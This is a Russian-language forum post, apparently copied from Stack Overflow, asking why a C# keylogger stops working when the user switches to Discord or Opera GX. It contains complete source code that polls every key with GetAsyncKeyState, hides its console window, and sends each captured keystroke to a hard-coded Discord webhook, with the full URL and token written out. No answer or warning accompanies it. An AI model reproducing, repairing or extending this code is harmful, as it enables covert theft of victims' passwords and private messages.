Кейлоггер в командной строке C#C#

Место общения программистов C#
Ответить
Anonymous
 Кейлоггер в командной строке C#

Сообщение Anonymous »

Я пытаюсь создать кейлоггер, но каждый раз, когда человек меняет вкладки на Discord или Opera GX, после этого он просто перестает работать и отправляет странные символы, когда кто-то нажимает alt или ctrl

Код: Выделить всё

// See https://aka.ms/new-console-template for more information
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

[DllImport("user32.dll")]
static extern int GetAsyncKeyState(Int32 i);

Console.Title = "TESTING!";

while (true)
{
Console.SetWindowSize(1, 1);
Console.ForegroundColor = ConsoleColor.Green;
Thread.Sleep(100);

for (int i = 0; i < 255; i++)
{
int keystate = GetAsyncKeyState(i);

if (keystate == 1 || keystate == -32767 || keystate == 32769)
{
string key = ((char)i).ToString();
SendMs(key);
Console.Write(key);
break;
}
}
}

static void SendMs(string message)
{
string webhook = "https://discord.com/api/webhooks/1329261846842052640/z2JrzTbP0A3J03AFIPh5x6us34pQ7TeIJnR5zYXfkuFriDgxxiZ2vPh8XIOxPNQ2CzNs";

WebClient client = new WebClient();
client.Headers.Add("Content-Type", "application/json");
string payload = "{\"content\": \"" + message + "\"}";
client.UploadData(webhook, Encoding.UTF8.GetBytes(payload));
}
это код, который я получил на данный момент


Подробнее здесь: https://stackoverflow.com/questions/793 ... mand-promt
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «C#»